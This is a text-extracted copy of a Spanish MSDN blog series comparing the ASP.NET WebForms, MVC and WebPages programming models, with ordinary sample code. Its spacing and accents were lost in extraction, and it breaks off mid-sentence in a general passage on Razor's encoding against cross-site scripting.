You are on page 1of 22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

ModelosdeprogramacinenASP.NET:
WebForms,MVCyWebPages
DanielMossberg 10May20125:49AM

RecientementehepublicadounaseriedeartculosenMSDNEspaaabordandounapreguntaque
recibimosconfrecuencia.Culessonlasdiferenciasentrelostresmodelosdeprogramacinde
ASP.NETyenquesituacionesdeboelegirunodeellossobrelosotros?

Estossonlosenlacesalaseriecompleta:

ASP.NETWebForms,MVCoWebPagesIntroduccin
http://msdn.microsoft.com/eses/asp.net/hh984851

Parte1ASP.NETWebForms
http://msdn.microsoft.com/eses/asp.net/hh984854

Parte2ASP.NETMVC
http://msdn.microsoft.com/eses/asp.net/hh984855

Parte3ASP.NETWebPages
http://msdn.microsoft.com/eses/asp.net/hh984856

Esperoqueosresulteinteresante.
DanielMossberg

ACTUALIZACIN(14/10/2014)
Losenlacesanterioresyanoestndisponibles,porloquepublicoacontinuacinelcontenidooriginal
delaseriedeartculos:

Introduccin
Actualmente,ASP.NETsoportatresmodelosdeprogramacin:ASP.NETWebForms,ASP.NETMVCy
ASP.NETWebPages.Aunquelostresmodelosdeprogramacinseejecutansobrelamismabasede
ASP.NET,cadaunodeellosestructuralaaplicacindemanerascompletamentedistintas,promueve
metodologasdedesarrollodiferentesyseadaptaaperfilesdedesarrolladoresdistintos.Algunas
caractersticasquesonvirtudesenunosmodelosdeprogramacin,puedenserconsideradas
debilidadesenelotro.Quesmsimportante,desarrollaraungranniveldeabstraccinotener
controltotalcadaunodelosaspectosdelaaplicacin?Simplicidadvs.Control.Flexibilidadvs.
Eficiencia.Estassonlascompensacionesquehayquebaremaralahoradeelegir.Enestaseriede
artculosrepasaremoslasdiferenciasentrelostresmodelosdeprogramacin,ylosescenarios
favorablesacadaunodeellos.

Esimportanterecalcarqueelhechodeelegirunodelosmodelosdeprogramacinalcomenzarun
proyectodeASP.NETnoexcluyenecesariamentealosotros,sinoqueesposibleteneraplicaciones
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

1/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

hibridasyenmuchoscasostendrtodoelsentidodesarrollarciertaspartesdelaaplicacinconun
modelodeprogramacinyotraspartesconotromodelodistinto.

ASP.NETWebFormsfueelprimerodelostresmodelosdeprogramacinenexistir,yproporcionaun
granniveldeabstraccinconunmodelodeprogramacinfamiliarbasadoeneventosycontrolesque
favorecelaproductividadmediantelaprogramacindeclarativareduciendolacantidaddecdigo
necesariaparaimplementarunadeterminadafuncionalidad.

ASP.NETMVCseconcibicomoalternativaaWebFormsyproporcionaunmodelodeprogramacin
basadoenelpopularpatrndearquitecturaMVC.Entresusprincipalescaractersticasdestacansu
completaintegracinconpruebasunitariasysuseparacinmsclaraentrelalgicadepresentacin,
lalgicadenegocioylalgicadeaccesoadatos.

ASP.NETWebPageseselmsrecientedelostresmodelosdeprogramacin,yfuecreadocomo
respuestaaunacrecientedemandadedesarrolladoreswebsinexperienciapreviaconASP.NET,cuya
iniciacinenASP.NETWebFormsoMVClessuponaunainversininicialdetiempodemasiado
grande.WebPagesproporcionaunmodelodeprogramacinmssimpleyrpidodeaprender,sin
renunciaratodalafuncionalidadyflexibilidaddeASP.NET.

Parte1ASP.NETWebForms
ASP.NETesunodelospilaresfundamentalesdelFramework.NET,ydurantemuchosaosWebForms
fueelnicomodelodeprogramacindisponible.Cuandonaci,WebFormsintroducanovedades
importantesrespectoaotrastecnologasdedesarrollowebcomoASP,PHPoJSP.Unadelasms
significativaseralaseparacinentreelcdigodeservidoryelmarkupHTML.

LaestructuratpicadeunapginaWebFormssecomponeporunladodeunfichero*.aspxenelque
sedefinelaestructuraHTMLyseaadendeclarativamenteloscontrolesdeservidordelapgina
(hablaremosendetallesobrecontrolesdeservidormsadelante).Porotroladotenemoselficherode
cdigocodebehind,*.aspx.cso*.aspx.vbdependiendodellenguajedeprogramacinelegido,enel
queseimplementaelcdigodeservidordelapgina.Posteriormente,ambosficherossecompilanen
ensambladosquecontienenelcdigodeservidorquegeneraelHTMLemitidoalejecutarlapgina.

Launinentreambosficherosserealizamedianteladirectivadepginadelfichero*.aspx(<%@
Page%>)enlaqueseespecificaelnombredelaclasedelaquehereda(Inherits)yelficherode
cdigofuente(CodeBehind)dondeseimplementadichaclase,tambinconocidocomoelcode
behinddelapgina.

WebForm.aspx:
<%@PageLanguage="C#"AutoEventWireup="true"CodeBehind="WebForm.aspx.cs"
Inherits="AdventureWorksWebForms.WebForm"%>
<!DOCTYPEhtmlPUBLIC"//W3C//DTDXHTML1.0Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd">

<htmlxmlns="http://www.w3.org/1999/xhtml">
<headrunat="server">
<title>ASP.NETWebForms</title>
</head>
<body>
<formid="form1"runat="server">
<div>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

2/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

<asp:LabelID="MyLabel"runat="server"Text="HelloWorld!"></asp:Label>
<asp:ButtonID="MyButton"runat="server"Text="Run"/>
</div>
</form>
</body>
</html>

Enelficherodecodebehindseimplementaelcdigodeservidordelapginacomolosmanejadores
deeventosdeloscontrolesdelapgina(enelejemplo:MyButton_Click),cdigodeinteraccinconlas
capasdelgicadenegociooaccesoadatos,ocdigodevalidacindedatosdeentradadelusuario
porejemplo.

WebForm.aspx.cs:
usingSystem;

namespaceAdventureWorksWebForms
{
publicpartialclassWebForm:System.Web.UI.Page
{
protectedvoidMyButton_Click(objectsender,EventArgse)
{
MyLabel.Text="HelloWorldchangedafterpostback!";
}
}
}

ConelFramework.NET2.0seintrodujoelconceptodeclasesparcialesloquepermiteimplementar
clasesde.NETenmsdeunfichero.ASP.NET2.0hizousodelasclasesparcialesenlosficherosde
codebehindparacrearunaseparacinadicionalentreelcdigogeneradoautomticamenteporVisual
Studioyelcodebehinddesarrolladoporelprogramador.EnversionesanterioresdeASP.NET,Visual
Studioaadacdigodirectamenteenelficherodecodebehind,comoporejemploelcdigode
declaracindevariablesdecontrolesdeservidor,generadoautomticamentealarrastraruncontrola
lapginaenlavistadediseodeVisualStudio.

Portanto,apartirdeASP.NET2.0elficherodecodebehindsesimplificaanmsdadoque
desaparecenestasdeclaracionesdevariablesyelcdigogeneradoporVisualStudiosecreaenun
ficherodistintodelamismaclaseparcial:

WebForm.aspx.designer.cs:
namespaceAdventureWorksWebForms
{
publicpartialclassWebForm
{

///<summary>
///MyLabelcontrol.
///</summary>
///<remarks>
///Autogeneratedfield.
///Tomodifymovefielddeclarationfromdesignerfiletocodebehindfile.
///</remarks>
protectedglobal::System.Web.UI.WebControls.LabelMyLabel;

///<summary>
///MyButtoncontrol.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

3/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

///</summary>
///<remarks>
///Autogeneratedfield.
///Tomodifymovefielddeclarationfromdesignerfiletocodebehindfile.
///</remarks>
protectedglobal::System.Web.UI.WebControls.ButtonMyButton;
}
}

WebFormsesunmodelodeprogramacincuyaprincipalcaractersticaeselniveldeabstracciny
encapsulamientoqueproporciona,alavezqueestremendamenteverstil.WebFormsesuna
tecnologaenlaqueMicrosoftsigueinvirtiendofuertemente,yenASP.NET4.0seintroducen
numerosasnovedadesymejorasquecorrigenmuchasdelasquehistricamentehansidosus
debilidades:
WebFormsURLRouting:PermitecrearURLsoptimizadasparamotoresdebsqueda(SEO).
HTMLmspredecible:LoscontrolesdeservidorgeneranHTMLmscompatibleconlos
estndaresymsfcilintegrarconJavaScriptyCSS.
ViewStateselectivo:Permitehabilitarydeshabilitarelviewstategranularmenteanivelde
controldeformamsflexiblequeenanterioresversionesdeASP.NET.

Estossonalgunosejemplos,peroexisteunalistacompletadetodaslasnovedadesen
http://www.asp.net/whitepapers/aspnet4.

CincorazonesporlasqueASP.NETWebFormspuedeserlamejoropcinparati
1Modelodeprogramacinfamiliarbasadoencontrolesyeventos
Quienestfamiliarizadoconeldesarrollodeaplicacionesdeescritorio,porejemplocon.NET
WindowsFormsoJavaSwing,lecostarpocolatransicinaldesarrolloconASP.NETWebForms.Web
Formspreservaelparadigmadearrastrarcontrolessobrelaspginaswebdeformaequivalentea
comosearrastranloscontrolessobreunaaplicacindeWindows.Loscontrolesdeservidorde
ASP.NETpuedenserelementosdeinteraccinsimplescomoelbotnolacajadetexto,ocontroles
mascomplejoscomoelcalendario,elmenoelcontroldeloginqueencapsulanfuncionalidadms
compleja.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

4/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Loscontrolestienenpropiedadesasociadasquesepuedenmanipulardeclarativamenteenelfichero
*.aspx,programticamentedesdeelficherocodebehindodesdelapropiainterfazgrficadeVisual
Studio.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

5/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Adicionalmente,laspginasWebFormsysuscontrolesdeservidorlanzanunaseriedeeventosante
determinadassituacionesointeraccionesdelusuario,yunapartefundamentaldelasaplicaciones
WebFormsradicaprecisamenteenmanejaryresponderadecuadamenteantedichoseventos.

protectedvoidButton1_Click(objectsender,EventArgse)
{
Response.Redirect("/home.aspx",false);
Context.ApplicationInstance.CompleteRequest();
}

2EncapsulamientodeHTML,CSSyJavacscript.
ASP.NETWebFormssimplificaeldesarrollowebencapsulandogranpartedelacomplejidaddel
protocoloHTTPydeloslenguajesHTML,JavaScriptyCSS.EneldesarrolloconWebFormsnoes
imprescindible(aunquesconveniente)conocerenprofundidadningunadeestastecnologas.Enel
protocoloHTTPpordefinicinnoexisteelestado,ysinembargolaspginasASP.NETWebFormsysus
controlesmantienenelestadoalolargodelospostbacks.Unodelosmecanismosesencialespara
conseguiresteniveldeabstraccinsonprecisamenteloscontrolesdeservidor,queengranmedida
abstraenaldesarrolladordelcdigoHTML,CSSyJavaScriptsubyacente.

AadiruncontroldetipocalendaraunapginaASP.NETWebFormsnicamenterequiereaadirla
siguientelneadecdigoalapgina*.aspx:

<asp:CalendarID="Calendar1"runat="server"></asp:Calendar>

Sinembargocuandolapginaseejecutaelcontroldeservidorgeneraunentramadorelativamente
complejodecdigodecliente(HTML,JavascriptyCSS)simplementeparapintarelcalendarioenla
pgina.Almargendeesto,ASP.NETWebFormsproporcionalalgicanecesariaenelservidorparaque
elcontrolmantengaelestadoalolargodevariospostbacks,ytodoestodeformacompletamente
transparenteparaelusuario.

<tableid="Calendar1"cellspacing="0"cellpadding="2"title="Calendar"style="border
width:1px;borderstyle:solid;bordercollapse:collapse;">
<tr>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

6/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

<tdcolspan="7"style="backgroundcolor:Silver;">
<tablecellspacing="0"style="width:100%;bordercollapse:collapse;">
<tr>
<tdstyle="width:15%;">
<ahref="javascript:__doPostBack('Calendar1','V4383')"style="color:Black"
title="Gotothepreviousmonth">&lt;</a>
</td>
<tdalign="center"style="width:70%;">febrerode2012</td>
<tdalign="right"style="width:15%;">
<ahref="javascript:__doPostBack('Calendar1','V4443')"style="color:Black"
title="Gotothenextmonth">&gt;</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<thalign="center"abbr="lunes"scope="col">lun</th>
<thalign="center"abbr="martes"scope="col">mar</th>
<thalign="center"abbr="mircoles"scope="col">mi</th>
<thalign="center"abbr="jueves"scope="col">jue</th>
<thalign="center"abbr="viernes"scope="col">vie</th>
<thalign="center"abbr="sbado"scope="col">sb</th>
<thalign="center"abbr="domingo"scope="col">dom</th>
</tr>

</table>

Algunoscontrolessoportanmecanismosmsavanzadosdepersonalizacin,comolafuncionalidad
AutoFormatquepermiteaplicardistintosesquemasdecoloresyestilossobreelcontroldeforma
completamentevisual,denuevosinnecesidaddetocarniunasolalneadecdigo.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

7/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Endefinitiva,doscaractersticasimportantesdeASP.NETWebFormssonlasimplificacindel
desarrollowebylareduccindelacantidaddecdigonecesarioparaconseguirunadeterminada
funcionalidad.

3Ecosistemadecontrolesdeterceros
ASP.NETWebFormsesunatecnologamaduraentornoalacualsehaconstruidounimportante
ecosistemadeempresasespecializadasendesarrollarcontrolesdegrancalidad.Algunasdeestas
empresascomoTelerik,InfragisticsoDevexpress,desarrollancontrolesutilizadosenmilesde
aplicacionesWebFormsenInternet.Utilizarestetipodecontrolesdetercerosenlugardeoptarporel
desarrollopropiopuedesuponerunimportanteahorrodetiempoydinero,yenmuchasocasiones
retornarmejoresresultados.

4Accesoadatossimplificado
Lamayoradeaplicacioneswebconsumenymanipulandatos.PorelloASP.NETWebFormssoportaun
amplioabanicodeorgenesdedatos,eimplementacontrolesespecficosparasimplificarelaccesoa
losorgenesdedatosmscomunescomobasesdedatos,ficherosXML,objetosdenegocioomodelos
dedatosdeEntityFramework.Loscontrolesdetipoorigendedatos(datasource)soncontrolessin
elementosgrficosasociados,quepermitenaotroscontrolesdeservidorenlazarconlosorgenesde
datosdeformacompletamentedeclarativa.

Loscontrolesdatasourcesepuedencreardeclarativamenteoenmodogrficodesdelavistade
diseodeVisualStudio.Porejemplo,elcontrolSqlDataSourcedebecomomnimoindicarlacadenade
conexinalorigendedatosylaconsultaaejecutarpararecuperarlosdatosdeseados.

<asp:SqlDataSourceID="EmployeeSqlDataSource"runat="server"
ConnectionString="<%$ConnectionStrings:ConnectionString%>"
SelectCommand="SELECT*FROM[Employee]ORDERBY[Id]">
</asp:SqlDataSource>

Enelmodogrficodelavistadediseopodemoshacerlomismosiguiendolospasosporlosquenos
guaunwizard.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

8/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Unavezcreadosloscontrolesdeorigendedatos,podemosconfigurarloscomolapropiedaddata
sourcedeotroscontrolesdeservidorconelementosgrficos,yasenlazarlosconunorigendedatos
deformadeclarativa.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

9/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

5MenorcantidaddecdigoymenorcomplejidadqueASP.NETMVC
Debidoatodoloanterior,endefinitivalasaplicacionesASP.NETWebFormsrequierendesarrollar
menorcantidaddecdigoquelasaplicacionesASP.NETMVCporloqueseadaptanmejoraequipos
dedesarrollomsreducidos.

Parte2ASP.NETMVC
Enmarzode2009sehizopblicalaprimeraversindeASP.NETMVC.ElpatrndearquitecturaMVC
(modelviewcontroller)noesnuevo(datade1979)niesalgoquehayainventadoMicrosoft.Existen
muchosframeworksdedesarrollowebpopularesqueutilizanMVC,comoporejemploRubyonRails,
SpringoApacheStruts.MVCesunpatrndearquitecturaqueayudaacrearunaseparacinlgica
entreelmodelo(lalgicadeaccesoadatos),lavista(lalgicadepresentacin)yelcontrolador(la
lgicadenegocio).

UnodelospilaresbsicosdeASP.NETMVCeselconceptodeenrutamiento(routing),loquepermitea
lasaplicacionesaceptarpeticionesaURLsquenosecorrespondenconficherosfsicosenelservidor.
Porejemplo,enASP.NETWebFormslasURLstienenelsiguienteformato
http://website/products.aspx?category=dvdenelquefsicamenteexisteunficheroproducts.aspx
enlarazdelsitioweb.EnMVClamismaURLtendraelsiguienteaspecto
http://website/products/dvdsinqueelservidorwebnecesariamentecontengaunacarpeta
productsconunasubcarpetadvd.Deformapredeterminada,ASP.NETMVCenrutalaspeticionesal
controladoryalavistaadecuadaenfuncindelaURL.Esdecir,enelejemploanterior,nosdevolver
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

10/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

lavistadvddelcontroladorproducts.

EsteeselaspectoquetieneunproyectoASP.NETMVCenVisualStudio,queparaquinhaya
trabajadoenproyectosWebFormsnotarcambiossignificativos:

Elcontroladoreslapiezaresponsablederesponderalaspeticionesrealizadascontralaaplicacin
ASP.NETMVCmediantedistintasacciones,porejemplodevolviendounavistadeterminada,
redireccionandolapeticinauncontroladordistinto,etc.Enelcasomsbsico,lasaccionesdeun
controladorselimitanadevolvervistas.Enelsiguienteejemplo,elcontroladorproductsimplementa
dosaccionesquedevuelvenlasvistasindexydvd.

usingSystem.Web.Mvc;

namespaceAdventureWorks.Controllers
{
publicclassProductsController:Controller
{
publicActionResultIndex()
{
ViewBag.Message="WelcometoAdventureWorksonlinestore!";

returnView();
}

publicActionResultDvd()
{
returnView();
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

11/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

}
}

Paraentendermejorelconceptodeenrutamientoysurelacinconcontroladoresyvistas,analicemos
queocurresiaadimosunanuevaaccinblurayalcontroladorproductsquequedaraexpuestaenla
URLhttp://website/products/bluray.

publicActionResultBluray()
{
returnView();
}

Sinoindicamoslocontrario,ASP.NETMVCintentarbuscarunavistaquesellamaigualquelaaccin
quesehaejecutado.Elerrorquedevuelvelaaplicacinindicaquenohapodidoencontrarlavistay
ademsindicadondelahabuscado.Comosepuedeobservar,enASP.NETMVChayunmapeodirecto
entrelasURLs,losmtodosqueseejecutanenelcontrolador(lasacciones)ylasvistasquese
devuelven.Prevalecelaconvencinsobrelaconfiguracin.

ASP.NETMVCfueconcebidoconelobjetivodeproporcionarunamayorseparacindeconceptosy
mayorcontrolsobreelcomportamientodelaaplicacin.Alnohacerusodemuchosdelos
mecanismosdeabstraccindeASP.NETWebForms,comoelviewstateolosformulariosdeservidor,
ASP.NETMVCrequiereunmayorconocimientosobreprotocolosylenguajesweb.Engenerallas
aplicacionesASP.NETMVCrequierendesarrollarunamayorcantidaddecdigoqueunaaplicacin
ASP.NETWebFormsdefuncionalidadequivalente,perotambinproporcionanunmayorcontrolal
desarrolladorsobreelcomportamientodelaaplicacin.

CincorazonesporlasqueASP.NETMVCpuedeserlamejoropcinparati
1Aplicacionesfcilmenteintegrablesconpruebasunitarias
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

12/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Laprincipalcaractersticaquehaceaunaaplicacinfcildeprobareseldesacoplamiento(loose
coupling)entreloscomponentesdelaaplicacin,deformaquecadaunodeloscomponentesse
puedaprobardeformaaislada.Laspruebasunitariasenesenciasonclasescreadasconelnico
propsitodeinstanciaryhacerusodelasclasesymtodosdeunaaplicacin,yverificarqueesas
clasessecomportancomoesesperadoendistintassituaciones.ElmtodoXdevuelveelvalor
esperadoalpasarunosparmetrosdeterminados?LaclaseYlanzaunaexcepcindetipoZcuandose
pasanunosparmetrosinvlidosalconstructor?

UnodelosgrandesproblemasdeWebFormseralaimposibilidaddeprobarlasaplicacionesmediante
pruebasunitarias,dadoquenoesposibleinstanciarclasesqueheredandeSystem.Web.UI.Pagede
formaaislada.SinembargoenASP.NETMVClalgicaquecontrolaelflujodelaaplicacinresideen
loscontroladores,yloscontroladoresnosonmsqueclasessindependenciasexternasporloquese
puedeninstanciarsinproblemasdesdeelcdigodelaspruebasunitarias.Siguiendoconelejemplo
anterior,podramosimplementarelsiguientemtododepruebaunitariaparaverificarqueelnombre
delavistaquedevuelvelaaccinDvddelcontroladorProductseslaesperada:

usingSystem.Web.Mvc;
usingAdventureWorks.Controllers;
usingMicrosoft.VisualStudio.TestTools.UnitTesting;

namespaceAdventureWorksTest
{
[TestClass]
publicclassProductsControllerTest
{
[TestMethod]
publicvoidTestDvdView()
{
//Arrange
ProductsControllerproducts=newProductsController();

//Act
ViewResultresult=(ViewResult)products.Dvd();

//Assert
Assert.AreEqual("Dvd",result.ViewName);
}
}
}

LaplantilladeVisualStudioparacrearunnuevoproyectoASP.NETMVCeslanicaplantilladeun
proyectowebquecreaunproyectoadicionaldepruebasunitariasenlasolucin,loquedenuevo
refuerzaquelaspruebasunitariassonunaparteintegraldelasaplicacionesASP.NETMVC.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

13/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

2MayorflexibilidadycontrolsobrelasURLsexpuestasporlaaplicacin.
ASP.NETMVCproporcionamayorcontrolyflexibilidadsobrelasURLsqueexponelaaplicacin.El
componenteclavequeposibilitaestafuncionalidaddeMVCeselmotordeURLroutingquese
introdujoenASP.NET3.5SP1,yquedesdeASP.NET4.0tambinestdisponibleparaWebForms.El
URLroutingpermitealasaplicacionesexponerURLsmssimples,semnticamentemssignificativas
paralosusuariosymejoroptimizadasparalosmotoresdebsqueda.

LasrutaspredeterminadasenunaaplicacinASP.NETMVCestndefinidasenelmtodo
RegisterRoutesdelficheroglobal.asax:

publicstaticvoidRegisterRoutes(RouteCollectionroutes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

routes.MapRoute(
"Default",//Routename
"{controller}/{action}/{id}",//URLwithparameters
new{controller="Home",action="Index",id=UrlParameter.Optional}//
Parameterdefaults
);
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

14/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

ElenrutamientopredeterminadodecualquieraplicacinASP.NETMVCexponeURLsdeltipo
http://website/{controlador}/{vista}/{parametros}.Porejemplo,uncontroladorSearchquerealiza
bsquedasenuncatalogodeproductosconunanicavistaResultsalaquesepasaporparmetrola
cadenadebsquedapordefectoestaraexpuestaenlaURLhttp://website/search/results/star+wars.
PodratenermssentidoeliminarelnombredelavistaparaconseguirunaURLmssimple,deforma
queseaccedieramediantehttp://website/search/star+wars.Conseguirestonicamenterequiere
registrarunanuevarutaenelmtodoRegisterRoutes:

routes.MapRoute(
"Search",//Routename
"Search/{id}",//URLwithparameters
new{controller="Search",action="Results"}//Parameterdefaults
);

3MayorcontrolsobreelHTMLdelaaplicacin.
EnASP.NETMVCdesaparecenloscontrolesdeservidorbasadoselmodelodepostbackdeWeb
Formsdadoqueahoracadainteraccindelusuariodebeirenrutadaauncontroladoryaunaaccin
especficos.Enlaprcticaestoimplicaquedesaparecenlamayoradecontrolesdeservidorque
generanHTML,porloqueahoraestareadelosdesarrolladoresescribirtodoeseHTML.Estosupone
variasventajasimportantes,unadeellasesqueelHTMLqueproducenlasaplicacionesMVCes
completamentepredecible,loselementosHTMLnotienenidentificadoresgeneradosdinmicamente
deltipoctl00_ControlPadre_ControlHijo_...yporconsecuenciaessignificativamentemssencillala
programacindecdigoJavaScriptdeclientecontraelHTMLgenerado.Otrasventajassonelcontrol
totalalahoradeproducirHTMLvalidable,HTMLcompatiblecondistintosestndaresdeaccesibilidad
web,etc.

4Plataformacompletamenteextensible
ASP.NETMVChasidodiseadaparasercompletamenteextensible,loqueimplicaquecualquier
elementolgicodelflujodeprocesamientodeunapeticinMVC,puedeserextendidoo
completamentesustituidoporunaimplementacinpropia.Paraello,ASP.NETMVCintroduceuna
seriedepuntosdeextensinenlosqueesposibleinyectarcdigopersonalizadoquemodifiqueel
comportamientopredeterminado.Estospuntosdeextensinseencuentranporejemploenlalgica
deenrutamiento,enlacreacindeloscontroladores,enlaejecucindelasaccionesdelcontrolador,
enlaseleccindelasvistasolosviewengines,etc.

5Modelodeprogramacinquepromueveunamejorarquitecturadelasaplicaciones.
LascaractersticasinherentesdelmodelodeprogramacinASP.NETMVCpromuevenunamejor
arquitecturadelasaplicaciones,conunaseparacinmsclaraentrelalgicadepresentacin,lalgica
denegocioylalgicadeaccesoadatos.Estaseparacinlgicatambincontribuyedesarrollarun
cdigomsreutilizabledebidoalmayordesacoplamientoentrelosdistintoscomponentes.

Parte3ASP.NETWebPages
TranscurridopocomsdeunaodesdeellanzamientodelaprimeraversindeASP.NETMVC,en
Juliode2010seanunciladisponibilidadpblicadeunanuevasintaxisparapginasASP.NETllamada
RazoryunnuevotipodepginasASP.NETquehacenusodedichasintaxis,lasdenominadas
ASP.NETWebPages.PrcticamentedeformasimultaneaallanzamientodeRazor,sehizopblicala
disponibilidaddeMicrosoftWebMatrix.WebMatrixesunaherramientadedesarrollowebgratuita
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

15/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

queincluyetodolonecesarioparadesarrollaraplicacionesASP.NET,ASPoinclusoPHP.WebMatrix
proporcionaunentornodedesarrollowebautnomo,queintegratambinelservidorwebde
desarrollo(IISExpress),labasededatos(SQLServerCompactEdition),ylasherramientaspara
desplegarlasaplicacionesenentornosdeproduccin(WebDeploy).

LasintaxisRazorfuediseadaconlosobjetivosdeserfcildeaprender,minimizarelnmerode
caracteresnecesariosparalasintaxisconsiguiendouncdigocompactoyfluido,utilizarloslenguajes
.NETexistentes,sercompatibleconcualquiereditordetextoysertesteablemediantepruebas
unitarias.Enesencia,RazorpermiteintroducirfragmentosdecdigoVisualBasic.NEToC#
directamenteenelcdigoHTML,porloqueconvenientementelaextensindelaspginasRazores
*.cshtmlo*.vbhtml.

ConRazortodoelcdigodeunapginaseencuentraenunnicofichero,queseejecutadeprincipioa
fin.ElciclodevidadeejecucindeunapginasehasimplificadosignificativamenterespectoaWeb
FormsoMVC.ElcomienzodeunbloquedecdigodeservidorenRazorseindicaconelcarcter@,y
adiferenciadelasintaxisequivalenteenlaspginas*.aspx,<%%>,noseindicaexplcitamenteel
cierredelbloque.Elcompiladorutilizasuconocimientodeloslenguajes.NETparadeterminardonde
terminanlosbloquesdecdigodeservidor,ydondecomienzaelHTML.

ASPX
<div>
Bienvenido<%=Usuario.Nombre%>,hoyes<%=DateTime.Now.Date.ToShortDateString()%>
</div>

Razor

<div>
Bienvenido@Usuario.Nombre,hoyes@DateTime.Now.Date.ToShortDateString()
</div>

AunqueRazorestoptimizadoparaentrelazarcdigo.NETycdigoHTMLdeunaformafluida,en
esencianosediferenciamuchodelasintaxisVB.NEToC#alaqueyaestamosacostumbrados.Esfcil
habituarsealanuevasintaxisalahoradecrearsentenciasybloquesdecdigomscomplejos,como
porejemplobloquesmultilnea,bloquesifobloquesforeach:

<!DOCTYPEhtml>
@usingSystem.Collections

@{
Hashtablemodels=newHashtable();
models.Add("ASP.NETWebForms","http://www.asp.net/webforms");
models.Add("ASP.NETMVC","http://www.asp.net/mvc");
models.Add("ASP.NETWebPages","http://www.asp.net/webpages");
}

<htmllang="en">
<head>
<metacharset="utf8"/>
<title></title>
</head>
<body>
<h1>ModelosdeprogramacinendeASP.NET:</h1>

<ul>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

16/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

@foreach(DictionaryEntryentryinmodels)
{
<li><ahref="@entry.Value">@entry.Key</a></li>
}
</ul>

@if(models.Count<3)
{
<p>Thelistaboveisobsolete</p>
}
else
{
<p>Thelistaboveisuptodate</p>
}

</body>
</html>

ElsiguientepostproporcionaunaguamsexhaustivadelasintaxisRazorcomparndolaconla
sintaxisequivalenteASPX:http://haacked.com/archive/2011/01/06/razorsyntaxquick
reference.aspx.

CincorazonesporlasqueASP.NETWebPagespuedeserlamejoropcinparati
1Modelodeprogramacinsimpleyrpidodeaprenderbasadoenpginasindividuales
ASP.NETWebpagespuedeserunabuenaopcinparaelqueestempezandoadesarrollar
aplicacionesconASP.NEToquieradesarrollarunaaplicacinwebsencillaenpocotiempo.
Conceptualmente,elmodelodeejecucinessimilaraASPclsicooPHP,encuantoaquelas
aplicacionesseejecutansecuencialmentedeprincipioafin,sinlacomplejidaddelajerarquade
eventosdeWebForms(Page_Load,Page_Render,etc.)perodisponiendodetodalafuncionalidadde
ASP.NET.

2CodificacinHTMLparaprevenirataquesdecrosssitescripting
EnRazor,elcontenidoemitidoporlosbloquesdecdigodeservidor@estncodificados(HTML
encoded)paraprotegercontraataquesdecrosssitescripting.Estosataques,expuestodemanera
enormementesimplificada,sebasanenqueunusuariomaliciosoconsigainyectarcdigoHTMLo
scriptyposteriormenteotrosusuariosejecutenesecdigocuandoaccedenalapginacomosifuera
HTML/Scriptlegtimodelaaplicacin.Elcdigosepuedeinyectarporejemplodesdeuncampodeun
formularioomedianteunparmetroporquerystring,dondelaaplicacinesperaqueelusuario
